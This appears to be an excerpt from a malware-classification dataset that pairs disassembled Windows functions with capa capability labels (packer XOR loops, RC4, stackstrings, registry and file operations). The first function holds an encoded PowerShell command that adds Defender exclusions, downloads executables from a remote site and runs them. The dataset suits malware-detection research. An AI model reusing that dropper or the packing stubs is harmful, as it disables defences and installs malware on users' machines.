joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAGYAYwB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQBnAHgAIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcwBiAGIAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAawBzAHkAIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAZwAtAGcAYQBtAGUAcgAuAHMAaQB0AGUALwBjAGgAZQBrAC8AVgA0AC4AZQB4AGUAJwAsACAAPAAjAHkAdwB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYQB2AGQAIwAACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbAB1AGwAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYQBkAGQAXwBnAGEAbQBlAHMALgBlAHgAZQAnACkAKQA8ACMAaQB6AHcAIwAADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZwBnAC0AZwBhAG0AZQByAC4AcwBpAHQAZQAvAGMAaABlAGsALwAhADEAVgA0AC4AZQB4AGUAJwAsACAAPAAjAGkAdgBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcABoAGQAIwAACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB6AHUAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbwBuAGwAaQBuAGUAXwBzAHQAZQBhAG0ALgBlAHgAZQAnACkAKQA8ACMAdQBrAHAAIwAADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABuAGwAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAcwB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAZABkAF8AZwBhAG0AZQBzAC4AZQB4AGUAJwApADwAIwB3AHMAawAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAHMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZwBpAGoAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbwBuAGwAaQBuAGUAXwBzAHQAZQBhAG0ALgBlAHgAZQAnACkAPAAjAHQAdQBqACMAPgA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x100043c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006534f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x1009a8a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x1000449c
je 0x10004497
cmp eax, 0x80000000
je 0x10004497
test eax, eax
jne 0x100044a3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Heap::constructor_void_]
mov eax, dword [0x1009bddc]
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000444b
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call fcn.100420f0
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_class_ScCore::Variant____thiscall_ScCore::Variant::operator_unsigned_short_int_const__]
mov eax, dword [0x1009bddc]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x1000447c
mov eax, dword [ebp - 0x10]
lea ecx, [ecx + eax*4]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100044bf
xorps xmm0, xmm0
jmp 0x100044ba
cmp eax, 0x40000000
je 0x100044af
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100044b6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..retplne
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3203eed
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x6e924e43
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x77150ac9
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x11c66759
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x403060
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x5b228c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x410], eax
mov eax, dword [ebp + 0x10]
push 0x400
mov dword [ebp - 0x414], eax
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.0050b0c0
movaps xmm1, xmmword [0x5649a0]
lea edx, [ebp - 0x3f4]
add esp, 0xc
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x408], 0
mov ecx, 8
lea eax, [ecx - 8]
movd xmm0, eax
lea edx, [edx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [ecx - 4]
paddd xmm0, xmm1
movups xmmword [edx - 0x50], xmm0
movd xmm0, eax
lea eax, [ecx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x40], xmm0
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x30], xmm0
movd xmm0, eax
lea eax, [ecx - 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x20], xmm0
cmp eax, 0x100
jl 0x4030c1
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor edx, edx
xor ebx, ebx
xor esi, esi
nop word [eax + eax]
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp + esi*4 - 0x404]
mov al, byte [edx + eax]
add al, bl
add al, cl
movzx ebx, al
mov eax, dword [ebp + ebx*4 - 0x404]
mov dword [ebp + esi*4 - 0x404], eax
lea eax, [edx + 1]
xor edx, edx
mov dword [ebp + ebx*4 - 0x404], ecx
inc esi
cmp eax, edi
cmovl edx, eax
cmp esi, 0x100
jl 0x403130
mov edi, dword [ebp + 0x14]
xor esi, esi
mov edx, dword [ebp - 0x40c]
mov ebx, dword [ebp - 0x408]
test edi, edi
jle 0x4031c5
inc dl
movzx edx, dl
mov ecx, dword [ebp + edx*4 - 0x404]
lea eax, [ebx + ecx]
movzx ebx, al
mov eax, dword [ebp + ebx*4 - 0x404]
mov dword [ebp + edx*4 - 0x404], eax
mov dword [ebp + ebx*4 - 0x404], ecx
add cl, al
movzx eax, cl
mov ecx, dword [ebp - 0x414]
mov al, byte [ebp + eax*4 - 0x404]
xor byte [esi + ecx], al
inc esi
cmp esi, edi
jl 0x403184
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00460f8d
mov esp, ebp
pop ebp
ret
Function at 0x405c70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x5b228c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x38], 0x650057
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x38]
mov eax, 0x5b9730
mov dword [ebp - 0x34], 0x440069
push edi
mov dword [ebp - 0x30], 0x610075
mov edx, 0x1a
mov dword [ebp - 0x2c], 0x44006e
sub esi, eax
mov dword [ebp - 0x28], 0x610069
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x530067
mov dword [ebp - 0x1c], 0x620075
mov dword [ebp - 0x18], 0x6e0057
mov dword [ebp - 0x14], 0x450064
mov dword [ebp - 0x10], 0x690078
mov dword [ebp - 0xc], 0x740073
nop dword [eax]
lea ecx, [edx + 0x7fffffe4]
test ecx, ecx
je 0x405d0e
movzx ecx, word [esi + eax]
test cx, cx
je 0x405d0e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x405cf0
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5b9730
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00460f8d
mov esp, ebp
pop ebp
ret
Function at 0x407360
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x551350
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x5b228c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0041de10
mov ecx, eax
call fcn.0041dde0
mov eax, dword [ebp - 0x1c]
or ebx, 0xffffffff
mov dword [ebp - 4], 0
test eax, eax
jne 0x4073b0
xor edi, edi
jmp 0x40751b
mov eax, dword [eax + 0x48]
sub eax, 0x10
push eax
call fcn.004098c0
add esp, 4
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
push esi
push reloc.gdiplus.dll_Ordinal_1
mov byte [ebp - 4], 1
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x20]
push str.From
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x40]
push str.InstallDir
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x28]
push str.ExePath
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
lea eax, [ebp - 0x10]
push eax
call fcn.00452e60
push dword [eax]
mov byte [ebp - 4], 2
push str.InstallTime
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
mov edx, dword [ebp - 0x10]
add esp, 0x44
mov byte [ebp - 4], 1
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407457
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x18]
push str.DisplayName
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x10]
push 0x56728c
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
add esp, 0x1c
mov edi, esp
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x28]
sub eax, 0x10
push eax
call fcn.004098c0
add eax, 0x10
add esp, 4
mov dword [edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.00452b90
push dword [eax]
mov byte [ebp - 4], 3
push str.Version
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
mov edx, dword [ebp - 0x10]
add esp, 0x18
mov byte [ebp - 4], 1
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4074e2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x1c]
push str.Channel
push esi
push reloc.gdiplus.dll_Ordinal_1
call fcn.00458670
add esp, 0x10
mov byte [ebp - 4], 0
mov edi, 1
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40751b
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x407540
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x407540
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], ebx
dec ebx
jne 0x407540
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40dec0
Capabilities:
Check if file exists
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x552043
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [0x5b228c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x50]
push eax
call fcn.0041de10
mov ecx, eax
call fcn.0041dde0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 4], 0
mov eax, dword [eax + 0x28]
sub eax, 0x10
push eax
call fcn.004098c0
add eax, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 1
push eax
call fcn.00456100
lea eax, [ebp - 0x48]
push eax
call fcn.00453300
add esp, 0xc
push 0
push dword [ebp - 0x44]
mov byte [ebp - 4], 2
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push dword [ebp - 0x44]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40e025
call fcn.0046f390
mov ecx, eax
push 2
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x40e021
push 0x60
push str.d:jenkins.jenkinsworkspaceweiduangamemicrogamemicrogamebox_srcmicrogameboxinst_helper.cc
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], al
call fcn.004174a0
push 3
push 0x566bbc
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.004174a0
mov byte [ebp - 4], 4
call fcn.0046f390
mov edi, eax
lea ecx, [ebp - 0xe8]
push 0x4ab
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00404570
mov esi, eax
push str.InstallHelper::InstallFiles__copy_exe_file_failed__path:
push esi
mov byte [ebp - 4], 5
call fcn.00405960
mov ecx, dword [ebp - 0x44]
mov edx, 0x566aa0
test ecx, ecx
cmovne edx, ecx
push edx
push esi
call fcn.00403250
mov eax, dword [edi]
add esp, 0x10
mov ecx, edi
push esi
call dword [eax + 0x1c]
lea ecx, [ebp - 0xe8]
call fcn.00405d60
lea ecx, [ebp - 0x28]
call fcn.00404f30
lea ecx, [ebp - 0x40]
call fcn.00404f30
xor edi, edi
jmp 0x40e02a
mov edi, 1
mov edx, dword [ebp - 0x48]
or ebx, 0xffffffff
mov byte [ebp - 4], 1
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40e04b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, ebx
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40e069
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x4c]
test esi, esi
je 0x40e08e
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x40e08e
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], ebx
dec ebx
jne 0x40e08e
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00460f8d
mov esp, ebp
pop ebp
ret
Function at 0x412a00
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x552920
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x5b228c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x24]
push eax
call fcn.0041de10
mov ecx, eax
call fcn.0041dde0
mov dword [ebp - 4], 0
call fcn.004106d0
mov ecx, eax
test ecx, ecx
je 0x412b67
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.0042ea60
test al, al
mov eax, dword [ebp - 0x24]
je 0x412a93
add eax, 0x3c
push str.cef69
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00405ba0
add esp, 0xc
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00405500
mov edx, dword [ebp - 0x14]
jmp 0x412ab8
add eax, 0x3c
push str.cef
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00405ba0
add esp, 0xc
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00405500
mov edx, dword [ebp - 0x18]
or edi, 0xffffffff
mov byte [ebp - 4], 1
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x412ad6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [0x5b2094]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00405ba0
add esp, 0xc
push dword [eax]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edx, dword [ebp - 0x1c]
mov ebx, eax
add edx, 0xfffffff0
mov ecx, edi
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x412b10
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, edi
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x412b2e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x412b53
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x412b53
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x412b53
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004093b0
int3
Function at 0x412b80
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x552968
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x5b228c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
add eax, 0x3c
mov dword [ebp - 4], 0
push str.cef
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00405ba0
mov esi, dword [ebp + 0x10]
push esi
push eax
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
call fcn.00405af0
add esp, 0x18
mov edx, dword [ebp - 0x18]
or ebx, 0xffffffff
mov byte [ebp - 4], 3
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x412bfa
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 8]
add eax, 0x3c
push str.cef69
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00405ba0
push esi
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 4
push eax
call fcn.00405af0
add esp, 0x18
mov edx, dword [ebp - 0x1c]
mov eax, ebx
mov byte [ebp - 4], 6
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x412c3f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call esi
test eax, eax
jne 0x412c79
push dword [ebp - 0x10]
call esi
test eax, eax
jne 0x412c79
push dword [ebp - 0x14]
call fcn.0046b130
add esp, 4
test eax, eax
jne 0x412c79
push dword [ebp - 0x10]
call fcn.0046b130
add esp, 4
test eax, eax
jne 0x412c79
xor edi, edi
jmp 0x412c7e
mov edi, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
mov byte [ebp - 4], 3
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x412c9c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x412cba
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x412cdf
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x412cdf
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], ebx
dec ebx
jne 0x412cdf
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415d10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x415d69
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x415d69
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x415d5a
cmp esi, edx
jae 0x415d69
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x415d48
cmp esi, edx
jae 0x415d69
cmp word [esi], 0
je 0x415d69
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416730
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x553090
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x5b228c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.004610bf
mov edi, eax
add esp, 4
test edi, edi
je 0x4167db
push 1
mov dword [ebp - 4], 0
call fcn.00462da3
mov dword [edi + 4], eax
add esp, 4
mov dword [esi + 0x30], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41af10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x5b228c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5b983c
mov dword [ebp - 0x30], 0x4b0048
lea esi, [ebp - 0x30]
mov dword [ebp - 0x2c], 0x590045
mov dword [ebp - 0x28], 0x50005f
mov edx, 0x17
mov dword [ebp - 0x24], 0x520045
sub esi, eax
mov dword [ebp - 0x20], 0x4f0046
mov dword [ebp - 0x1c], 0x4d0052
mov dword [ebp - 0x18], 0x4e0041
mov dword [ebp - 0x14], 0x450043
mov dword [ebp - 0x10], 0x44005f
mov dword [ebp - 0xc], 0x540041
mov dword [ebp - 8], 0x41
nop dword [eax]
lea ecx, [edx + 0x7fffffe7]
test ecx, ecx
je 0x41af9e
movzx ecx, word [esi + eax]
test cx, cx
je 0x41af9e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x41af80
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5b983c
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00460f8d
mov esp, ebp
pop ebp
ret